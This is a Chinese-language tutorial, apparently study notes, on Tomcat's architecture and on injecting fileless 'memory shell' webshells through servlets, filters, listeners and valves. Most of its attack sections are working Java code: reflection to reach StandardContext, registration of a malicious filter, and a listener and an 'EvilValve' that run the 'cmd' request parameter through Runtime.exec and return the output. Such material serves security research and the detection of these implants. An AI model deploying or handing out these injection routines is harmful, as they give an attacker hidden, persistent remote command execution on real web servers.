1.tomcat
1.tomcat 结构
--Server 顶层容器
--Service 提供具体服务的
--Connector
--Container
--Engine
--Host
--Context
--Wrapper
--Service
Server: 一个Tomcat仅有一个Server,指代整个Web服务器。
Connector: 连接器,用于接受请求并将请求封装成Request和Response对象。 |
默认配置文件server.xml
<Connector port= "8080" protocol= "HTTP/1.1"
connectionTimeout= "20000"
redirectPort= "8443" />
<Connector port= "8089" protocol= "AJP/1.3" redirectPort= "8443" /> |
Container:Catalina,Servlet 容器,处理servlet请求,内部有多层容器组成,用于管理 Servlet 生命周期,调用 servlet 相关方法。
在Container中,使用PipeLine-Value管道的方式处理请求,包含以下四个子容器:
StandardEngineValue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue
Engine:Servlet 的顶层容器
Host:代表一个虚拟主机
Context:代表Webapps(默认应用文件夹,可更改)里单独某个Web应用,Web 应用上下文,包含多个 Wrapper,负责 web 配置的解析、管 理所有的 Web 资源;
Wrapper:每个Wrapper中封装了一个Servlet |
<Engine name= "Catalina" defaultHost= "localhost" >
<Realm className= "org.apache.catalina.realm.LockOutRealm" >
<Realm className= "org.apache.catalina.realm.UserDatabaseRealm"
resourceName= "UserDatabase" />
</Realm>
<Host name= "localhost" appBase= "webapps"
unpackWARs= "true" autoDeploy= "true" >
<!--
<Context path= "/" docBase= "E:\\project\\j2ee\\web" debug= "0" reloadable= "false" />
-->
<Valve className= "org.apache.catalina.valves.AccessLogValve" directory= "logs"
prefix= "localhost_access_log." suffix= ".txt"
pattern= "%h %l %u %t " %r " %s %b" />
</Host>
</Engine> |
2.tomcat处理请求流程
一次完整请求,socket->http->response
Connector处理部分
NioEndpoint$SocketProcessor -> Http11Processor -> CoyoteAdapter,通过CoyoteAdapter的service方法,完成org.apache.coyote.Request -> org.apache.catalina.connector.Request (实现了HttpServletRequest)和org.apache.catalina.connector.Response (实现了HttpServletResponse)的转换。
2.servlet介绍
Servlet:Servlet的生命周期开始于Web容器的启动时,它就会被载入到Web容器内存中,直到Web容器停止运行或者重新装入servlet时候结束。一旦Servlet被装入到Web容器之后,一般是会长久驻留在Web容器之中。
装入:启动服务器时加载Servlet的实例。
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有init()方法负责执行完成。
调用:从第一次到以后的多次访问,都是只调用doGet()或doPost()方法。
销毁:停止服务器时调用destroy()方法,销毁实例。
Filter :自定义 Filter 的实现,需要实现javax.servlet. Filter 下的init()、doFilter()、destroy()三个方法。
启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
每一次请求时都只调用方法doFilter()进行处理;停止服务器时调用destroy()方法,销毁实例。
Listener:以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口。
每次请求创建时调用requestInitialized();每次请求销毁时调用requestDestroyed()。
加载顺序
web.xml对于这三种组件的加载顺序是:listener - > filter - > servlet,即listener的优先级为三者中最高的。 |
3.servlet内存马
3.1常见的servlet示例
1 2 3 4 5 6 7 8 9 10 | public class LoginServlet extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
String name = request.getParameter( "name" );
String password = request.getParameter( "password" );
System.out.println( "name:" + name);
System.out.println( "password:" + password);
}
} |
在web.xml中配置如下
配置servlet类和maping的映射关
<servlet>
<servlet - name>LoginServlet< / servlet - name>
<servlet - class >LoginServlet< / servlet - class >
< / servlet>
<servlet - mapping>
<servlet - name>LoginServlet< / servlet - name>
<url - pattern> / login< / url - pattern>
< / servlet - mapping> |
servlet生命周期
login请求具体过程
3.2servlet加载流程调试。调试环境 tomcat8
3.2.1一个Wrapper代表一个servlet实例,StandardContext.class 中有createWrapper 方法,在此处在断点进行调试
关键的调用过程如下:
3.2.2发现:ContextConfig.webConfig() 方法,会加载我们的配置文件web.xml,然后对xml进行解析,获取filter,servlet配置信息。测试环境暂未添加listener
3.2.3解析完配置文件之后,ContextConfig.configureContext,对context进行配置
会对filter,listener,servlet进行配置
3.2.4其中对servlet的配置过程如下:
创建wrapper实例,赋值servletname
3.2.5设置 Servlet 对应的 Class
3.2.6将wrapper添加至当前的context中
3.2.7wrapper配置完后,配置mapping
进入StandardContext.addServletMappingDecoded()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | public void addServletMappingDecoded(String pattern, String name, boolean jspWildCard) {
//查找当前child中有没有这个servletname的wrapper
if ( this .findChild(name) == null ) {
throw new IllegalArgumentException(sm.getString( "standardContext.servletMap.name" , new Object[]{name}));
} else {
//对路由进行判断
String adjustedPattern = this .adjustURLPattern(pattern);
if (! this .validateURLPattern(adjustedPattern)) {
throw new IllegalArgumentException(sm.getString( "standardContext.servletMap.pattern" , new Object[]{adjustedPattern}));
} else {
synchronized ( this .servletMappingsLock) {
// 前面没有对wrapper进行路由关系映射
String name2 = (String) this .servletMappings.get(adjustedPattern);
if (name2 != null ) {
Wrapper wrapper = (Wrapper) this .findChild(name2);
wrapper.removeMapping(adjustedPattern);
}
//context中添加路由与wrapper映射关系
this .servletMappings.put(adjustedPattern, name);
}
Wrapper wrapper = (Wrapper) this .findChild(name);
//wrapper中添加对应mapping信息
wrapper.addMapping(adjustedPattern);
this .fireContainerEvent( "addServletMapping" , adjustedPattern);
}
}
}
总结:
1 .查找 当前的Child的wrapper
2 .对路由进行校验
3 .向context 的mapping 中添加 路由和servletname
4 .在当前child中找到name 相同的wapper
5 .相同的wapper 添加路由
这个过程也和web.xml的属性对应
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet- class >LoginServlet</servlet- class >
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/login</url-pattern>
</servlet-mapping> |
3.2.8servlet的启动顺序
StandardWrapper.loadServlet()处下断点
其中在StandardContext.startInternal()方法中可以看到tomcat对servlet的加载顺序
3.2.9jsp注入
Wrapper newWrapper = context.createWrapper();
String name = servlet.getClass().getSimpleName();
//3.2.4
newWrapper.setName(name);
//newWrapper.setLoadOnStartup(1);
///3.2.5
newWrapper.setServletClass(servlet.getClass().getName());
//3.2.6
context.addChild(newWrapper);
//3.2.7
context.addServletMappingDecoded("/master", name);
newWrapper.setServlet(servlet);
发现这个 是用不了的,对比filter是缺少了与类实例的映射。
在applicationcontext的addservlet方法中, 是有这行代码,设置类实例
StandardWrapper.load)中 ,也是将
this.instance = this.loadServlet();
loadServlet()返回servlet ,servlet = (Servlet)instanceManager.newInstance(this.servletClass);
instance 设置为servlet实例
所以要添加
将wrapper与servlets实例关联
Wrapper.setServlet(servlet);
最后如下:
Wrapper newWrapper = context.createWrapper();
String name = servlet.getClass().getSimpleName();
//3.2.4
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
//
//newWrapper.setServlet(servlet);
///3.2.5
newWrapper.setServletClass(servlet.getClass().getName());
context.addChild(newWrapper);
context.addServletMappingDecoded("/master", name);
4.Filter型内存马
4.1常见filter类用例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | public class FirstFilter implements Filter {
@Override
public void destroy() {
// 在web容器卸载Filter对象之前被调用
}
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
request.setCharacterEncoding( "UTF-8" );
String ip = request.getRemoteAddr();
String url = request.getRequestURL().toString();
SimpleDateFormat sdf = new SimpleDateFormat( "yyyy-MM-dd HH:mm:ss" );
Date d = new Date();
String date = sdf.format(d);
System.out.printf( "%s %s 访问了 %s%n" , date, ip, url);
chain.doFilter(request, response);
}
@Override
public void init(FilterConfig arg0) throws ServletException {
}
} |
web.xml配置
< filter >
< filter - name>FirstFilter< / filter - name> / / 名字自定义
< filter - class >Filterdemo.FirstFilter< / filter - class > / / 类名
< / filter >
< filter - mapping>
< filter - name>FirstFilter< / filter - name> / / 与前面对应
<url - pattern> / * < / url - pattern> / / 作用域
< / filter - mapping> |
4.2 执行顺序,filter的执行顺序与添加web.xml添加的顺序一致
4.3执行点: 当执行到最后的StandardWrapperValue时,将通过ApplicationFilterFactory对象的createFilterChain()方法,创建FilterChain(过滤链),并调用FilterChain.doFilter()方法,对请求进行过滤操作。
关键,从context中获取filterMaps,通过filtermap获取filterconfig,将filterconfig添加进filterChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
if (servlet == null ) {
return null ;
} else {
ApplicationFilterChain filterChain = null ;
if (request instanceof Request) {
Request req = (Request)request;
if (Globals.IS_SECURITY_ENABLED) {
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain)req.getFilterChain();
if (filterChain == null ) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
if (filterMaps != null && filterMaps.length != 0 ) {
DispatcherType dispatcher = (DispatcherType)request.getAttribute( "org.apache.catalina.core.DISPATCHER_TYPE" );
String requestPath = null ;
Object attribute = request.getAttribute( "org.apache.catalina.core.DISPATCHER_REQUEST_PATH" );
if (attribute != null ) {
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
FilterMap[] arr$ = filterMaps;
int len$ = filterMaps.length;
int i$;
FilterMap filterMap;
ApplicationFilterConfig filterConfig;
for (i$ = 0 ; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null ) { 当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。
filterChain.addFilter(filterConfig);
}
}
}
arr$ = filterMaps;
len$ = filterMaps.length;
for (i$ = 0 ; i$ < len$; ++i$) {
filterMap = arr$[i$];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersServlet(filterMap, servletName)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null ) {
filterChain.addFilter(filterConfig);
}
}
}
return filterChain;
} else {
return filterChain;
}
}
} |
filtermap中存放filtername与url 对应关系
1 2 3 | private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private HashMap<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps(); |
filterConfigs 变量存储了filter名称与相应的ApplicationFilterConfig对象,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息
filterDefs 变量存储了filter名称与相应FilterDef的对象,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
总结:
filterMaps变量:含有所有filter的URL映射关系
filterDefs变量: 含有所有filter包括实例在内等变量
filterConfigs 变量:含有所有与filter对应的filterDef信息及filter实例,并对filter进行管理
createFilterChail方法会根据请求的URL在filterMaps中匹配filter,然后在filterConfigs中找到filter实例,创建filterChain。
因此,我们只需要向StandardContext实例的filterMaps、filterDefs、filterConfigs中添加恶意Filter相关参数,即可完成Filter马的注入。
注入:
...
Map filterConfigs = ( Map )fconfig.get(standardContext);
...
/ / filterdef
FilterDef filterDef = new FilterDef();
filterDef.setFilter( filter ); / /
filterDef.setFilterName(name);
filterDef.setFilterClass( filter .getClass().getName()); / / 设置类名
standardContext.addFilterDef(filterDef); / / 放入 context的filterdef中
/ / filtermap
FilterMap filterMap = new FilterMap(); / / 存放作用域和 filter 名称
filterMap.addURLPattern( "/*" );
filterMap.setFilterName(name);
/ / 添加近filtermaps
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig. class .getDeclaredConstructor(Context. class ,FilterDef. class );
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
/ / filterConfigs 从前面的 全局作用域获取,通过反射修改。
filterConfigs.put(name,filterConfig); |
5,listener注入
5.1常见的listener使用
public class ServletRequestLister implements ServletRequestListener {
// 监听请求
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
System.out.println(servletRequestEvent.getServletRequest()+ " over" );
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
System.out.println(servletRequestEvent.getServletRequest()+ " start" );
}
} |
web.xml配置
<listener>
<description>ServletRequestListener< / description>
<listener - class >
listenter.ServletRequestLister
< / listener - class >
< / listener> |
listener都是全局都是全局的不用设置路由。
常见的listenerl类
ServletContextListener:用于监听web应用的启动和关闭
ServletContextAttributeListener:用于监听在application范围内的数据的变动
ServletRequestListener:用于监听用户请求的细节
ServletRequestAttributeListener:用于监听request范围内的数据的变动
HttpSessionListener:用于监听某次会话的开始和结束
HttpSessionAttributeListener:用于监听session范围内的属性数据的变动 |
5.2listener的启动流程
StandardHostValve的context.fireRequestInitEvent(request.getRequest() 触发
this.getApplicationEventListeners();获取listener
getApplicationEventListeners方法如下:
1 2 3 | public Object[] getApplicationEventListeners() {
return this .applicationEventListenersList.toArray();
} |
applicationEventListenersList在standardcontext中如下:
private List<Object> applicationEventListenersList = new CopyOnWriteArrayList();
applicationEventListenersList 有addApplicationEventListener
1 2 3 | public void addApplicationEventListener(Object listener) {
this .applicationEventListenersList.add(listener);
} |
看起来就是添加listener,所以,我们只要获取standardcontext,调用addApplicationEventListener,将listener添加进去即可
根据listener类别,我们可以使用ServletRequestListener类,它的方法有requestInitialized(),requestDestroyed(),当一个新的request触发和销毁时,方法分别被执行。
注入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | final String name = "mtys" ;
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade =(ApplicationContextFacade) request.getServletContext();
// 当前的全局作用域对象
Field appctx = servletContext.getClass().getDeclaredField( "context" );
// 获取 他的 会话
appctx.setAccessible( true );
ApplicationContext applicationContext = (ApplicationContext) appctx.get(applicationContextFacade);
// 当前作用对象
Field stdctx = applicationContext.getClass().getDeclaredField( "context" );
stdctx.setAccessible( true );
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
class myListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter( "cmd" ) != null ){
InputStream in = null ;
try {
in = Runtime.getRuntime().exec( new String[]{ "cmd.exe" , "/c" ,req.getParameter( "cmd" )}).getInputStream();
Scanner s = new Scanner(in).useDelimiter( "\\A" );
String out = s.hasNext()?s.next(): "" ;
Field requestF = req.getClass().getDeclaredField( "request" );
requestF.setAccessible( true );
Request request = (Request)requestF.get(req);
request.getResponse().getWriter().write(out);
}
catch (IOException e) {}
catch (NoSuchFieldException e) {}
catch (IllegalAccessException e) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
myListener listenerdemo = new myListener();
standardContext.addApplicationEventListener(listenerdemo); |
5.standardcontext获取的方法:
5.1 jsp中request对象获取
Field reqF = request.getClass().getDeclaredField( "request" );
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
/ / 另一种办法
ServletContext servletContext = request.getSession().getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field apcontext = servletContext.getClass().getDeclaredField( "context" );
apcontext.setAccessible(true);
/ 反射获取对象 applicationContextFacade下的 context applicationcontext
ApplicationContext applicationContext = (ApplicationContext)apcontext.get(applicationContextFacade);
Field scontext = applicationContext.getClass().getDeclaredField( "context" );
scontext.setAccessible(true);
StandardContext standardContext = (StandardContext)scontext.get(applicationContext); |
5.2 ContextClassLoader中获取
1 2 3 | org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); |
5.3从jmbserver中获取,不同的版本,获取方式不同,同一版本获取方式不唯一
javax.management.MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
/ / mbsInterceptor
Object obj = null;
Field field = Class.forName( "com.sun.jmx.mbeanserver.JmxMBeanServer" ).getDeclaredField( "mbsInterceptor" );
field.setAccessible(true);
obj = field.get(mbeanServer);
/ / repository
field = Class.forName( "com.sun.jmx.interceptor.DefaultMBeanServerInterceptor" ).getDeclaredField( "repository" );
field.setAccessible(true);
obj = field.get(obj);
/ / domainTb
field = Class.forName( "com.sun.jmx.mbeanserver.Repository" ).getDeclaredField( "domainTb" );
field.setAccessible(true);
HashMap ob = null;
ob = (HashMap)field.get(obj);
/ / class com.sun.jmx.mbeanserver.NamedObject
ob = (HashMap) ob.get( "Catalina" );
obj = ob.get( "type=Mapper" );
Field modifersField = Field. class .getDeclaredField( "modifiers" );
modifersField.setAccessible(true);
field = Class.forName( "com.sun.jmx.mbeanserver.NamedObject" ).getDeclaredField( "object" );
field.setAccessible(true);
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
obj = field.get(obj);
field = Class.forName( "org.apache.tomcat.util.modeler.BaseModelMBean" ).getDeclaredField( "resource" );
field.setAccessible(true);
obj = field.get(obj);
/ /
field = Class.forName( "org.apache.catalina.mapper.MapperListener" ).getDeclaredField( "mapper" );
modifersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName( "org.apache.catalina.mapper.Mapper" ).getDeclaredField( "contextObjectToContextVersionMap" );
field.setAccessible(true);
Map mp = null;
mp = ( Map ) field.get(obj);
Object [] obj1 = mp.keySet().toArray();
org.apache.catalina.core.StandardContext standardContext = ( org.apache.catalina.core.StandardContext) obj1[ 0 ]; |
5.4 其他
tomcat全版本:https://xz.aliyun.com/t/9914
ThreadLocal获取request:https://xz.aliyun.com/t/7388
6.value型内存马 tomcat型
6.1value
tomcat是一种 管道阀门格式传递消息。value就是阀门的角色。
一个管道可以有多个阀门。tomcat会调用各个管道的阀门,默认的4个阀门StandardEngineValue --> StandardHostValue --> StandardContextValue --> StandardWrapperValue。
会调用Value 的invoke方法。invoke方法中有request对象,可以从中解析处httprequest。
这种value会 有类似host.getPipeline().getFirst().invoke(request, response);进行挨个调用
我们只需要把恶意的valuye值注入进去就可以了
和默认的ErrorReportValve类一样所有阀门都需要继承ValveBase类
恶意类如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | public class EvilValve extends ValveBase{
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmder = request.getParameter( "cmd" );
String[] cmd = new String[]{ "cmd" , "/c" , cmder};
try {
Process ps = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader( new InputStreamReader(ps.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null ) {
sb.append(line).append( "\n" );
}
String result = sb.toString();
response.getWriter().write(result);
} catch (Exception e) {
System.out.println( "error " );
}
getNext().invoke(request, response); //20210628-Update
}
} |
在StandardHost 中发现 有调用addValve方法
调用的是ContainerBase的addValve方法
1 2 3 | public synchronized void addValve(Valve valve) {
this .pipeline.addValve(valve);
} |
StandardEngine\StandardHost\StandardContext\StandardWrapper 都继承ContainerBase类都有addValve我们只需要把恶意的value类方法加入其中就可以
这里加入StandardContext的value,StandardContext的获取方法和之前一样。
1 2 3 4 5 6 7 8 | ApplicationContextFacade appCf = (ApplicationContextFacade)request.getServletContext();
ApplicationContext appCtx = (ApplicationContext)getFieldValue(appCf, "context" );
Field scontext = appCtx.getClass().getDeclaredField( "context" );
scontext.setAccessible( true );
StandardContext standardContext = (StandardContext)scontext.get(appCtx);
EvilValve evilValve = new EvilValve();
standardContext.getPipeline().addValve(evilValve);
out.println( "注入valve成功!" ); |
待补充:
1.内存马查杀
2.spring内存马,agent内存马